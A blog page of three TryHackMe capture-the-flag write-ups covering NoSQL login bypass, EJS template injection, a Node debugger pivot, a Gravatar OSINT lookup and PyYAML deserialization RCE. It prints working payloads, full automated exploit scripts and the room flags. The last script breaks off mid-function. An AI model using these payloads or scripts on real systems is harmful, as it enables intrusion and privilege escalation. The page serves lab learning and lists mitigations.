DEV Community: Wahiduddin Samani

[TryHackMe Writeup] Do Not Disturb

Wahiduddin Samani — Mon, 03 Aug 2026 12:43:56 +0000

Do Not Disturb — Boot2Root Writeup (How to Solve)

Field	Value
Target	`http://MACHINE_IP`
Platform	TryHackMe — Hacker Holidays · The Byte Lotus Hotel
Category	Boot2Root · Web
Difficulty	Medium
User flag	`THM{w4rm_s3ss10n_h1j4ck3d}`
Root flag	`THM{r4w_d1sk_4cc3ss_w4s_t00_much}`

Skill path: NoSQL injection → EJS template injection (RCE) → Node inspector (debugger) pivot → Linux disk group raw-block read.

Attack Chain

GET / (login form)
   │
   │  username=attendant & password[$ne]=__never__      NoSQL operator injection
   ▼
role=staff session → GET /staff  (Cabana Desk)
   │
   ▼
POST /staff/preview  template=<%= ...execSync('cmd') %>   EJS template injection
   │
   ▼
RCE as poolside  →  /home/poolside/user.txt               USER FLAG
   │
   ▼
node --inspect=127.0.0.1:9229  (lotus-telemetry.service)   debugger Remote.evaluate
   │
   ▼
RCE as pipelinesvc  (groups: pipelinesvc, disk)
   │
   ▼
debugfs -R "cat /root/root.txt" /dev/nvme0n1p1            raw disk read
   │
   ▼
ROOT FLAG

Step-by-Step (manual reproduction)

Step 1 — Recon

nmap -sV -sC MACHINE_IP

Port	Service
22	SSH (OpenSSH 9.6p1, publickey only)
80	HTTP — Express "Byte Lotus Poolside" portal

Routes found: GET / (login form), POST /login, GET /logout, GET /staff (403).

Step 2 — Weak default credentials

Brute the login with a top-10k password list on likely usernames (guest, attendant, ...):

guest:sunshine  →  valid login, but role=guest → /staff still 403

App source (leaked later via the RCE) explains why brute-forcing the staff
account is pointless:

// /opt/poolside/app.js
const db = new Datastore();          // @seald-io/nedb (MongoDB-style)
await db.insertAsync([
  { username: 'guest', password: 'sunshine', role: 'guest' },
  { username: 'attendant',
    password: crypto.randomBytes(18).toString('hex'), role: 'staff' },
]);
...
app.post('/login', async (req, res) => {
  const { username, password } = req.body;
  const user = await db.findOneAsync({ username, password });
  ...
});

The attendant password is random hex — never brute-force it. Attack the
query itself instead.

Step 3 — NoSQL injection → staff login bypass

express.urlencoded({ extended: true }) parses password[$ne]=x into the
nested object { password: { $ne: 'x' } }, so the lookup becomes:

db.findOneAsync({ username: 'attendant', password: { $ne: '__never__' } })

$ne matches anything except the given value → returns the attendant.

curl -i -X POST http://MACHINE_IP/login \
  -d 'username=attendant&password[$ne]=__never__'

Response: 302 with a session cookie → now

curl -b <cookie> http://MACHINE_IP/staff     # 200 — Cabana Desk

Step 4 — EJS template injection → RCE (poolside)

The Cabana Desk has a confirmation template preview: POST /staff/preview
with a template field that is rendered with ejs.render() — an EJS SSTI:

curl -b <cookie> -X POST http://MACHINE_IP/staff/preview \
  -d "template=<%= global.process.mainModule.require('child_process').execSync('id').toString() %>"

uid=996(poolside) gid=996(poolside) groups=996(poolside)

Full command execution as the poolside service account. From here:

# user flag
cat /home/poolside/user.txt
THM{w4rm_s3ss10n_h1j4ck3d}

Note: commands containing > or 2>&1 break execSync's shell — keep
payloads redirect-free or split them.

Step 5 — Lateral move: Node inspector → pipelinesvc

Read the service units via the EJS RCE (/etc/systemd/system/lotus-telemetry.service):

[Service]
User=pipelinesvc
ExecStart=/usr/bin/node --inspect=127.0.0.1:9229 /opt/telemetry/processor.js

The telemetry processor is a Node.js debugger endpoint bound to localhost:

The debugger protocol accepts arbitrary Runtime.evaluate over a WebSocket — i.e. remote code execution in the pipelinesvc process.

The exploit (as done by solve_dnd.py):

GET http://127.0.0.1:9229/json/list → webSocketDebuggerUrl
WebSocket handshake to that URL (masked frames)
Send Runtime.evaluate with expression:

(()=>{try{return process.mainModule.require('child_process')
        .execSync('id',{encoding:'utf8',shell:'/bin/bash'}).toString()}
      catch(e){return 'ERR: '+(e.stderr||'')+(e.stdout||'')}})()

Result:

uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)

pipelinesvc is in the disk group — the gateway to root.

Step 6 — Root flag: raw block-device read (group `disk`)

ls -l /dev/nvme0n1p1
brw-rw---- 1 root disk 259,1 ... /dev/nvme0n1p1

Group disk can read the raw device (the ext4 root partition). No sudo, no
kernel exploit — just read the filesystem out of the block device with
debugfs:

debugfs -R "cat /root/root.txt" /dev/nvme0n1p1
THM{r4w_d1sk_4cc3ss_w4s_t00_much}

Fully automated solver

python solve_dnd.py http://MACHINE_IP

"""
Do Not Disturb (Byte Lotus Hotel) - FULLY AUTOMATIC SOLVER
Gets BOTH flags with zero manual steps.

Target: http://10.49.182.223

Chain:
  1. NoSQL injection on /login             -> log in as 'attendant' (password[$ne]=zzz)
  2. EJS template injection /staff/preview -> RCE as 'poolside'
  3. cat /home/poolside/user.txt           -> USER FLAG (as poolside)
  4. Node inspector 127.0.0.1:9229         -> RCE as 'pipelinesvc' (group disk)
  5. debugfs -R "cat /root/root.txt" /dev/nvme0n1p1 -> ROOT FLAG

Usage: python solve_dnd.py [http://IP]
"""
import sys
import re
import html as htmllib
import urllib.request
import urllib.parse
import http.cookiejar
import base64

TARGET = (sys.argv[1] if len(sys.argv) > 1 else "http://10.49.182.223").rstrip("/")
TIMEOUT = 25

cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
FLAG_RE = re.compile(r"THM\{[^}]+\}")

# Node client uploaded to /tmp/.i.js: connects to the 127.0.0.1:9229 debugger,
# evaluates a command inside the pipelinesvc-owned process via Runtime.evaluate.
NODE_SCRIPT = r"""
const http = require('http');
const crypto = require('crypto');
const fs = require('fs');
let CMD = process.argv[2] || '';
if (!CMD) { try { CMD = fs.readFileSync('/tmp/.c.txt','utf8').trim(); } catch(e) {} }
http.get('http://127.0.0.1:9229/json/list', (res) => {
  let d = '';
  res.on('data', c => d += c);
  res.on('end', () => {
    let list = []; try { list = JSON.parse(d); } catch(e) {}
    if (!list.length) { console.log('NO_TARGETS'); process.exit(0); }
    const path = list[0].webSocketDebuggerUrl.replace(/^ws:\/\/[^/]+/, '');
    const net = require('net');
    const key = crypto.randomBytes(16).toString('base64');
    const sock = net.connect(9229, '127.0.0.1', () => {
      sock.write(`GET ${path} HTTP/1.1\r\nHost: 127.0.0.1:9229\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: ${key}\r\nSec-WebSocket-Version: 13\r\n\r\n`);
    });
    let buf = Buffer.alloc(0), booted = false;
    sock.on('data', chunk => {
      buf = Buffer.concat([buf, chunk]);
      const hs = buf.indexOf('\r\n\r\n');
      if (!booted && hs !== -1) {
        booted = true;
        buf = buf.slice(hs + 4);
        const expr = `(()=>{try{return process.mainModule.require('child_process').execSync(${JSON.stringify('CMD_HOLE')},{encoding:'utf8',stdio:['ignore','pipe','pipe'],shell:'/bin/bash'}).toString()}catch(e){return 'ERR: '+(e.stderr?e.stderr.toString():'')}} )()`;
        const msg = JSON.stringify({ id: 1, method: 'Runtime.evaluate', params: { expression: expr, returnByValue: true } });
        sendFrame(sock, msg);
      }
      let f = parseFrame(buf);
      while (f) {
        if (f.opcode === 1) {
          const t = f.payload.toString();
          try {
            const j = JSON.parse(t);
            if (j.id === 1 && j.result) {
              const v = j.result.result;
              console.log('OUT:', (v && v.value !== undefined) ? v.value : JSON.stringify(v));
              process.exit(0);
            }
          } catch(e) {}
        }
        buf = f.rest;
        f = parseFrame(buf);
      }
    });
    sock.on('error', e => console.log('SOCKERR', e.message));
  });
});
function parseFrame(b){
  if (b.length < 2) return null;
  let off = 2;
  const opcode = b[0] & 0x0f;
  let len = b[1] & 0x7f;
  if (len === 126) { if (b.length < 4) return null; len = b.readUInt16BE(2); off = 4; }
  else if (len === 127) { if (b.length < 10) return null; len = Number(b.readBigUInt64BE(2)); off = 10; }
  return { opcode, payload: b.slice(off), rest: b.slice(off) };
}
function sendFrame(sock, payload){
  const data = Buffer.from(payload);
  const mask = crypto.randomBytes(4);
  let header;
  if (data.length < 126) header = Buffer.from([0x81, 0x80 | data.length]);
  else { header = Buffer.alloc(4); header[0] = 0x81; header[1] = 0x80 | 126; header.writeUInt16BE(data.length, 2); }
  const masked = Buffer.alloc(data.length);
  for (let i = 0; i < data.length; i++) masked[i] = data[i] ^ mask[i % 4];
  sock.write(Buffer.concat([header, mask, masked]));
}
"""
NODE_SCRIPT = NODE_SCRIPT.replace("'CMD_HOLE'", "CMD || fs.readFileSync('/tmp/.c.txt','utf8').trim()")


def http_req(path, data=None, headers=None):
    req = urllib.request.Request(TARGET + path, data=data, headers=headers or {})
    return opener.open(req, timeout=TIMEOUT).read().decode(errors="replace")


# ---- Step 1: NoSQL injection -> staff session ----
def login_staff():
    opener.open(urllib.request.Request(
        TARGET + "/login",
        data=b"username=attendant&password[$ne]=__never__"), timeout=TIMEOUT)
    print("[+] Logged in as 'attendant' via NoSQL auth bypass (password[$ne]=zz_never)")


# ---- Steps 2-3: EJS template injection (RCE as poolside) ----
def ejs(cmd):
    tpl = "<%= global.process.mainModule.require('child_process').execSync('" + cmd + "').toString() %>"
    body = urllib.parse.urlencode({"template": tpl}).encode()
    resp = http_req("/staff/preview", data=body,
                    headers={"Content-Type": "application/x-www-form-urlencoded"})
    m = re.search(r"<label[^>]*>Preview</label><pre>(.*?)</pre>", resp, re.S)
    if m:
        return htmllib.unescape(m.group(1))
    ms = re.findall(r"<pre>(.*?)</pre>", resp, re.S)
    return htmllib.unescape(ms[-1]) if ms else resp


# ---- Step 4: Node inspector pivot -> RCE as pipelinesvc ----
def node_inspect(cmd):
    b64js = base64.b64encode(NODE_SCRIPT.encode()).decode()
    b64cmd = base64.b64encode(cmd.encode()).decode()
    shell = f"echo {b64js} | base64 -d > /tmp/.i.js; echo {b64cmd} | base64 -d > /tmp/.c.txt; node /tmp/.i.js"
    return ejs(shell)


def main():
    print(f"[+] Targeting {TARGET}")

    print("[+] Step 1: NoSQL auth bypass -> staff")
    login_staff()

    print("[+] Step 2: EJS RCE check")
    out = ejs("id")
    print("   ", out.strip().replace("\n", " "))
    if "poolside" not in out:
        print("[-] EJS RCE failed, aborting"); return 1

    print("[+] Step 3: user flag")
    user_flag = ejs("cat /home/poolside/user.txt").strip()
    print("[+] USER FLAG:", user_flag)

    print("[+] Step 4: Node inspector pivot -> pipelinesvc")
    out = node_inspect("id")
    print("   ", out.strip().replace("\n", " "))
    if "pipelinesvc" not in out:
        print("[-] inspector pivot failed, aborting"); return 1

    print("[+] Step 5: raw disk read via debugfs -> root flag")
    out = node_inspect("debugfs -R 'cat /root/root.txt' /dev/nvme0n1p1 2>&1")
    m = FLAG_RE.search(out)
    root_flag = m.group(0) if m else "(not found)"
    print("[+] ROOT FLAG:", root_flag)

    print()
    print("=" * 44)
    print("  USER FLAG  :", user_flag or "(MISSING)")
    print("  ROOT FLAG  :", root_flag)
    print("=" * 44)
    ok = bool(user_flag.count("THM{") and root_flag.count("THM{"))
    print(("[+] SUCCESS - both flags captured" if ok else
           "[-] flags incomplete - check manually"))
    return 0 if ok else 1


if __name__ == "__main__":
    sys.exit(main())

It performs every step above automatically: NoSQL login → EJS RCE → user flag
→ inspector pivot → debugfs extraction → prints both flags and exits 0 only
if both THM{...} flags were captured.

[+] Step 1: NoSQL auth bypass -> staff
[+] Step 2: EJS RCE check          uid=996(poolside) ...
[+] Step 3: user flag              THM{w4rm_s3ss10n_h1j4ck3d}
[+] Step 4: Node inspector pivot   uid=995(pipelinesvc) ... groups=...,6(disk)
[+] Step 5: debugfs raw disk read  THM{r4w_d1sk_4cc3ss_w4s_t00_much}
[+] SUCCESS - both flags captured

Vulnerabilities (recap)

NoSQL injection in /login — password[$ne] auth bypass to staff role.
EJS template injection in /staff/preview — RCE as poolside.
Node inspector exposed (--inspect=127.0.0.1:9229) — arbitrary eval as pipelinesvc (debugger endpoint running in a long-lived service).
disk group membership — raw block-device read → any file on disk, including /root/root.txt.

Mitigations

Issue	Fix
NoSQL injection	Validate/whitelist inputs; never pass user-supplied operator objects to queries
EJS injection	Never `ejs.render()` user input; use a strict template engine with an allowlist
Node inspector	Never ship `--inspect` in production; bind to 127.0.0.1 and firewall port 9229
disk group	Remove service accounts from the `disk` group (least privilege)

Tools Used

nmap, curl, Python urllib + cookie jars — recon & HTTP
NedB operator injection (password[$ne]) — auth bypass
EJS child_process.execSync — server-side template RCE
Hand-rolled WebSocket client — Node inspector Runtime.evaluate
debugfs — ext4 raw filesystem extraction

[TryHackMe Writeup] Overheard at Breakfast

Wahiduddin Samani — Sun, 02 Aug 2026 12:52:46 +0000

🏨 Hacker Holidays — The Byte Lotus Hotel

🍳 Overheard at Breakfast — Full Walkthrough

Detail	Value
Points	60
Category	OSINT
Difficulty	Easy
Tags	OSINT, Social Media, Hashing

**📝 Challenge Description

The breakfast terrace is loud this morning — clinking cutlery, espresso machines, the usual chatter. One guest couldn't help but linger at a nearby table, seeing more of a conversation than they were meant to.

When the table's occupant stepped away for a refill, they seized the moment and grabbed a screenshot before it could disappear. Somewhere in that conversation is enough to track down an account nobody was supposed to find.

Objective: Analyze the provided conversation screenshot, extract identifying details, locate a hidden account, and capture the flag.

🗺️ Solution Overview

┌─────────────────────────────┐
│  1. Analyze Conversation    │
│         ↓                   │
│  2. Extract Key Clues       │
│         ↓                   │
│  3. Compute MD5 Hash        │
│         ↓                   │
│  4. Find Gravatar Profile   │
│         ↓                   │
│  5. Extract Base64 String   │
│         ↓                   │
│  6. Decode the Flag 🚩      │
└─────────────────────────────┘

Step 1: Analyze the Conversation 🔍

The challenge provides a screenshot of a Discord conversation between two users:

Ponzi – Influencer (L3AK member)
Lambo! (our target)

The Conversation Screenshot

Full Conversation Transcript

Time	User	Message
10:53 PM	Ponzi – Influencer	Hey @lambo!
10:53 PM	Lambo!	Hi Ponzi! How are things going on your end? :)
10:54 PM	Ponzi – Influencer	doing well thanks for asking, enjoying the resort so far?
10:55 PM	Lambo!	Absolutely, Byte Lotus is treating me nice, love the food, weather and overall vibes. Will probably come back next year too.
10:57 PM	Ponzi – Influencer	love to hear it!!! so i've been posting so much on social media and helping customers around. i never ended up getting your handle, so that i could possibly tag you next time.
11:00 PM	Lambo!	Great to hear, I've been seeing those awesome posts. Yeah nowadays I don't really use much social media...
		Though I'm still out there, I used to use this free tool that let me upload my profile and link other media accounts was neat, until I wiped everything. Started with a `G` if I remember correctly.
		But if anything this is my best way of communication: `lambobytelotushotel@gmail.com`
11:03 PM	Ponzi – Influencer	woah woah, seems very secretive! maybe for the better that you don't use social media, heard some strange things have been happening in Byte Lotus. thanks regardless I will be in touch with you.
		btw one more thing, going out to breakfast tomorrow morning?
11:03 PM	Lambo!	Yeah sounds dope, will be there you know me 😎!

Step 2: Extract Key Clues 🔑

From the conversation, we can identify three critical clues:

Clue #1 — Email Address

lambobytelotushotel@gmail.com

Lambo directly shares their email as their "best way of communication."

Clue #2 — The Mystery Tool (Starts with "G")

"I used to use this free tool that let me upload my profile and link other media accounts... Started with a **G* if I remember correctly."*

This is Gravatar (https://gravatar.com) — a free service that:

✅ Lets you upload a profile picture
✅ Lets you link other social media accounts
✅ Starts with the letter "G"
✅ Uses email hashes to look up profiles (connects to the "Hashing" tag)

Clue #3 — Challenge Tags

The challenge is tagged with OSINT, Social Media, and Hashing — confirming we need to:

Use OSINT techniques to find a profile
The profile is on a social/media platform
Hashing is involved (Gravatar uses MD5 hashes of emails)

**Step 3: Compute the MD5 Hash 🔐

**
Gravatar identifies users by the MD5 hash of their email address. This is how you look up anyone's Gravatar profile if you know their email.

The Process

Email (lowercase, trimmed) → MD5 Hash → Gravatar Profile URL

PowerShell Script

# Compute MD5 hash of email
$email = 'lambobytelotushotel@gmail.com'
$md5 = [System.Security.Cryptography.MD5]::Create()
$bytes = [System.Text.Encoding]::UTF8.GetBytes($email.Trim().ToLower())
$hash = $md5.ComputeHash($bytes)
$hashString = -join ($hash | ForEach-Object { $_.ToString('x2') })
Write-Output "MD5 Hash: $hashString"

Alternative — Python

import hashlib
email = "lambobytelotushotel@gmail.com"
md5_hash = hashlib.md5(email.strip().lower().encode('utf-8')).hexdigest()
print(f"MD5 Hash: {md5_hash}")

Alternative — Linux/Bash

echo -n "lambobytelotushotel@gmail.com" | md5sum

Alternative — CyberChef

Go to CyberChef
Search for "MD5" in Operations
Input: lambobytelotushotel@gmail.com
Output: d4a5fc5d3128890778667e24617d7cc0

Result

MD5("lambobytelotushotel@gmail.com") = d4a5fc5d3128890778667e24617d7cc0

**Step 4: Find the Gravatar Profile 🌐

**
Using the MD5 hash, we can construct the Gravatar profile URL:

Profile URL

https://gravatar.com/d4a5fc5d3128890778667e24617d7cc0

JSON API (for structured data)

https://gravatar.com/d4a5fc5d3128890778667e24617d7cc0.json

What We Find

Visiting the profile URL reveals Lambo's Gravatar profile with the following details:

Field	Value
Display Name	Lambo
Pronunciation	Lam-boh
Location	Byte Lotus Hotel
Username	cheerfullysongf28e3c3716
Profile URL	https://gravatar.com/cheerfullysongf28e3c3716

The "About Me" Section — The Prize 🎯

The profile's "aboutMe" field contains this message:

"Funny thing about email hashes, they follow you places you didn't expect. Glad you found the right corner of the internet! Here is your prize:
VEhNe1MzY3JlVF9QcjBmaWwzX0g0c19iMzNuX0lkZW50MWZpM2R9"

Raw JSON Response

{
  "entry": [{
    "hash": "d4a5fc5d3128890778667e24617d7cc0",
    "profileUrl": "https://gravatar.com/cheerfullysongf28e3c3716",
    "displayName": "Lambo",
    "pronunciation": "Lam-boh",
    "aboutMe": "Funny thing about email hashes, they follow you places you didn't expect. Glad you found the right corner of the internet! Here is your prize: VEhNe1MzY3JlVF9QcjBmaWwzX0g0c19iMzNuX0lkZW50MWZpM2R9",
    "currentLocation": "Byte Lotus Hotel"
  }]
}

**Step 5: Identify the Encoding 🧬

**
The "prize" string is clearly Base64 encoded:

VEhNe1MzY3JlVF9QcjBmaWwzX0g0c19iMzNuX0lkZW50MWZpM2R9

How to recognize Base64:

✅ Contains only alphanumeric characters, +, /, and = (padding)
✅ The character set (uppercase, lowercase, digits) is typical of Base64
✅ The challenge tags include "Hashing" — pointing to encoding/decoding
✅ Starts with VEhN which is a known Base64 prefix for THM (TryHackMe flags)

Quick Reference: Common THM Flag Base64 Prefixes

Base64 Start	Decoded
`VEhN`	`THM`
`VEhNe`	`THM{`

Step 6: Decode the Flag 🚩

PowerShell

$encoded = 'VEhNe1MzY3JlVF9QcjBmaWwzX0g0c19iMzNuX0lkZW50MWZpM2R9'
$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))
Write-Output "Flag: $decoded"

Python

import base64
encoded = 'VEhNe1MzY3JlVF9QcjBmaWwzX0g0c19iMzNuX0lkZW50MWZpM2R9'
decoded = base64.b64decode(encoded).decode('utf-8')
print(f"Flag: {decoded}")

Linux/Bash

echo 'VEhNe1MzY3JlVF9QcjBmaWwzX0g0c19iMzNuX0lkZW50MWZpM2R9' | base64 -d

CyberChef

Go to CyberChef
Search for "From Base64" in Operations
Input: VEhNe1MzY3JlVF9QcjBmaWwzX0g0c19iMzNuX0lkZW50MWZpM2R9
Output: THM{S3creT_Pr0fil3_H4s_b33n_Ident1fi3d}

🏆 THE FLAG

╔══════════════════════════════════════════════════════╗
║                                                      ║
║   THM{S3creT_Pr0fil3_H4s_b33n_Ident1fi3d}           ║
║                                                      ║
╚══════════════════════════════════════════════════════╝

Decoded meaning: "Secret Profile Has Been Identified"

🧠 Skills & Concepts Covered

1. OSINT (Open Source Intelligence)

Extracting actionable intelligence from casual conversation
Identifying platform-specific clues from vague descriptions
Using publicly available APIs to retrieve hidden profiles

2. Social Media Investigation

Understanding how Gravatar works as a profile aggregation service
Knowing that "wiped" accounts may still have data accessible via hash lookups
Recognizing platform descriptions from feature-based clues

3. Hashing & Encoding

MD5 Hashing — Converting an email to its MD5 hash for Gravatar lookup
Base64 Decoding — Recognizing and decoding Base64-encoded strings

🔗 Useful Links & Tools

Tool	Purpose	URL
Gravatar	Profile lookup via email hash	https://gravatar.com
CyberChef	Encoding/Decoding Swiss Army Knife	https://gchq.github.io/CyberChef/
MD5 Online	Quick MD5 hash generator	https://www.md5online.org/
Base64 Decode	Online Base64 decoder	https://www.base64decode.org/

📋 Quick Reference — Complete Attack Chain

┌──────────────────────────────────────────────────────────────┐
│                    ATTACK CHAIN SUMMARY                      │
├──────────────────────────────────────────────────────────────┤
│                                                              │
│  📸 Screenshot → Discord conversation between Ponzi & Lambo  │
│         │                                                    │
│         ▼                                                    │
│  🔍 Clue 1: Email = lambobytelotushotel@gmail.com            │
│  🔍 Clue 2: Tool starts with "G" = Gravatar                 │
│         │                                                    │
│         ▼                                                    │
│  🔐 MD5("lambobytelotushotel@gmail.com")                     │
│     = d4a5fc5d3128890778667e24617d7cc0                       │
│         │                                                    │
│         ▼                                                    │
│  🌐 https://gravatar.com/d4a5fc5d312889...                   │
│     → Profile found! aboutMe contains Base64 string          │
│         │                                                    │
│         ▼                                                    │
│  🧬 Base64 Decode:                                           │
│     VEhNe1MzY3JlVF9QcjBmaWwzX0g0c19iMzNuX0lkZW50MWZpM2R9   │
│         │                                                    │
│         ▼                                                    │
│  🚩 FLAG: THM{S3creT_Pr0fil3_H4s_b33n_Ident1fi3d}           │
│                                                              │
└──────────────────────────────────────────────────────────────┘

**💡 Key Takeaways

People reveal more than they think — Even in casual chat, Lambo shared enough info (email + tool description) to find their "hidden" profile.
Gravatar profiles persist — Even if you "wipe everything," the email hash still resolves if the account exists. Gravatar profiles are often overlooked during OPSEC cleanup.
MD5 hashes are deterministic — Anyone who knows your email can compute the hash and check your Gravatar profile. This is by design, not a bug.
Always check for encoding — Flags and secrets are often hidden in plain sight using common encoding schemes like Base64.
Cross-platform OSINT — A single email address can be the key to unlocking profiles across multiple platforms (Gravatar, Have I Been Pwned, social media lookups, etc.)

[TryHackMe Writeup] Beach Bar

Wahiduddin Samani — Sat, 01 Aug 2026 08:02:03 +0000

Beach Bar — Boot2Root (YAML Deserialization RCE + Credential Reuse)

Field	Value
Target	`http://MACHINE_IP`
Platform	TryHackMe — Hacker Holidays · The Byte Lotus Hotel
Category	Boot2Root
Difficulty	Easy
User flag	`THM{y4ml_pl4yl1st_pwns_th3_b34ch}`
Root flag	`THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}`

Attack Chain (Summary)

dj/dj leaked in HTML comment
        │
        ▼
/login → /import (unsafe PyYAML yaml.load)
        │
        ▼
YAML deserialization RCE  →  shell as bartender
        │
        ▼
/opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass "SunsetSpritz2024!"  (visible in ps aux, runs as root)
        │
        ▼
echo 'SunsetSpritz2024!' | su root -c 'cat /root/root.txt'
        │
        ▼
ROOT SHELL → both flags

Step-by-Step

Step 1 — Recon

curl.exe -s -i http://MACHINE_IP

Gunicorn (Flask) app on port 80 redirecting to /login.

Step 2 — Source Code Review: Leaked Credentials

Viewing the login page HTML source revealed a developer comment:

<!--
    staff note: the demo DJ login is still enabled for the soft opening.
    dj / dj  -- swap this before the season starts (ticket BAR-7)
-->

Login: dj / dj

Step 3 — Dashboard Enumeration

After login, /dashboard exposed two features:

/import — upload or paste a YAML playlist
/export — download the current playlist as YAML

Step 4 — PyYAML Deserialization RCE

The /import endpoint deserializes the uploaded playlist with an unsafe loader:

parsed = yaml.load(content, Loader=yaml.Loader)

yaml.Loader can instantiate arbitrary Python objects — classic insecure deserialization → RCE.

Payload (uploaded as a .yml file):

!!python/object/apply:subprocess.check_output
args: ["id"]
kwds: {shell: true}

Response: uid=1001(bartender) gid=1001(bartender) groups=1001(bartender) — command execution as bartender.

Payload quirks (important when crafting commands):

Shell redirections (>), 2>&1, and backticks make check_output return non-zero and the output is lost.

Use || echo fallback to keep exit status 0 and always get output back.

su commands must be single-quoted: echo 'pass' | su root -c 'cat /root/root.txt'.

Uploading the payload as a multipart playlist_file avoids YAML string-escaping mangling.

Step 5 — User Flag

cat /home/bartender/user.txt

User flag: THM{y4ml_pl4yl1st_pwns_th3_b34ch}

Step 6 — Privilege Escalation Recon

Process listing exposed a root daemon leaking its secret in the process arguments:

root  610  /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass "SunsetSpritz2024!" --bitrate 320k

jukeboxd.service runs as root and its --stream-pass is visible to any user via ps aux (the service file itself is root-owned mode 640, so cat was denied — ps leaks it anyway).

Step 7 — Root Flag (Credential Reuse)

The stream password is reused as the root account password:

echo 'SunsetSpritz2024!' | su root -c 'cat /root/root.txt'

Root flag: THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}

Automation

solve_beachbar.py performs the entire chain automatically:

python solve_beachbar.py http://MACHINE_IP

[+] Step 1: Login as dj/dj
    Logged in as dj.
[+] Step 2: Verify YAML RCE
    b'uid=1001(bartender) gid=1001(bartender) groups=1001(bartender)\n'
[+] Step 3: Read user flag
    Found at /home/bartender/user.txt
    USER FLAG: THM{y4ml_pl4yl1st_pwns_th3_b34ch}
[+] Step 4: Extract --stream-pass from process list
    Stream pass (ps aux): SunsetSpritz2024!
[+] Step 5: su root and read root flag
    Password worked: SunsetSpritz2024!
    ROOT FLAG: THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}

It was verified with the fallback password deliberately corrupted — the script still solved the room using only the password it extracted from ps aux.

Vulnerabilities

Insecure PyYAML deserialization — yaml.load with yaml.Loader allows arbitrary object construction → RCE as bartender.
Secret exposure in process arguments — --stream-pass readable by any local user via ps aux.
Credential reuse — the streaming password is the root password.

Mitigations

Issue	Fix
Unsafe YAML	Use `yaml.safe_load` (or a JSON schema validator) — never `yaml.Loader` on untrusted input
Secret in argv	Pass secrets via environment files / secret manager, not CLI arguments
Reused password	Unique credentials per service; rotate and monitor reuse
Hardcoded creds in HTML	Remove demo accounts and dev notes from production source

Tools Used

curl.exe — HTTP requests, login, multipart file upload
PyYAML gadget !!python/object/apply:subprocess.check_output — RCE
ps aux / su — privilege escalation
Python (urllib, re) — full exploit automation in solve_beachbar.py

# Byte Lotus - Beach Bar Boot2Root - FULLY AUTOMATIC SOLVER
# Solves: THM{y4ml_pl4yl1st_pwns_th3_b34ch} / THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}
#
# Does everything by itself:
#   1. Logs in as dj/dj (leaked in HTML comment)
#   2. Confirms YAML deserialization RCE via /import (PyYAML unsafe load)
#   3. Locates and reads the user flag
#   4. Extracts the root password from the jukeboxd process args (--stream-pass)
#   5. su root -> reads the root flag
#   6. Prints both flags
#
# Usage:  python solve_beachbar.py [http://IP]
# Default: http://10.49.157.31

import sys
import re
import html as htmllib
import urllib.request
import urllib.parse
import http.cookiejar
import socket

TARGET = (sys.argv[1] if len(sys.argv) > 1 else "http://10.49.157.31").rstrip("/")
TIMEOUT = 15
RETRIES = 3
KNOWN_PASS = "SunsetSpritz2024!"  # fallback only; script extracts it from ps if possible
socket.setdefaulttimeout(TIMEOUT)

cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

FLAG_RE = re.compile(r"THM\{[^}]+\}")


def http_req(path, data=None, headers=None, method=None):
    req = urllib.request.Request(TARGET + path, data=data, headers=headers or {})
    if method:
        req.get_method = lambda: method
    return opener.open(req, timeout=TIMEOUT)


def get(path):
    return http_req(path).read().decode(errors="replace")


def post_form(path, data):
    body = urllib.parse.urlencode(data).encode()
    return http_req(path, data=body, headers={"Content-Type": "application/x-www-form-urlencoded"}).read().decode(errors="replace")


def rce(cmd, retries=RETRIES):
    """Run a command through the PyYAML unsafe-deserialization RCE; return stdout."""
    payload = (
        "!!python/object/apply:subprocess.check_output\n"
        f'args: ["{cmd}"]\n'
        "kwds: {shell: true}\n"
    )
    boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW"
    body = (
        f"--{boundary}\r\n"
        'Content-Disposition: form-data; name="playlist_file"; filename="p.yml"\r\n'
        "Content-Type: application/x-yaml\r\n\r\n"
        f"{payload}\r\n"
        f"--{boundary}--\r\n"
    )
    last = ""
    for attempt in range(1, retries + 1):
        try:
            resp = http_req(
                "/import",
                data=body.encode(),
                headers={"Content-Type": f"multipart/form-data; boundary={boundary}"},
            ).read().decode(errors="replace")
            m = re.search(r"<pre>(.*?)</pre>", resp, re.S)
            last = htmllib.unescape(m.group(1)) if m else ""
            if last or attempt == retries:
                return last
        except Exception:
            if attempt == retries:
                raise
    return last


def find_flag_in(text):
    m = FLAG_RE.search(text)
    return m.group(0) if m else ""


def main():
    print(f"[+] Targeting {TARGET}")

    # --- Step 1: Login as dj/dj (leaked in HTML comment) ---
    print("[+] Step 1: Login as dj/dj")
    try:
        get("/login")
        post_form("/login", {"username": "dj", "password": "dj"})
        dash = get("/dashboard")
        ok = "logout" in dash.lower() or "import" in dash.lower() or bool(find_flag_in(dash))
        if not ok:
            print("[-] Login failed — wrong creds or target not the Beach Bar app.")
            return
        print("    Logged in as dj.")
    except Exception as e:
        print(f"[-] Login error: {e}")
        print("[!] Is the TryHackMe machine running? Start the room and run again.")
        return

    # --- Step 2: Verify RCE ---
    print("[+] Step 2: Verify YAML RCE")
    out = rce("id")
    print(f"    {out.strip() or '(no output)'}")
    if "bartender" not in out:
        print("[-] RCE failed — /import may be patched or payload blocked.")
        return

    # --- Step 3: Locate and read user flag ---
    print("[+] Step 3: Read user flag")
    user_flag = ""
    for path in ("/home/bartender/user.txt", "user.txt"):
        out = rce(f"cat {path} || ls -la /home/bartender || find / -name user.txt 2>/dev/null || echo NO_FLAG")
        user_flag = find_flag_in(out)
        if user_flag:
            print(f"    Found at {path}")
            break
    if not user_flag:
        print("[-] User flag not found — trying to locate it.")
        listing = rce("find / -iname '*user*flag*' -o -iname 'user.txt' 2>/dev/null || echo NONE")
        print(f"    {listing.strip()}")
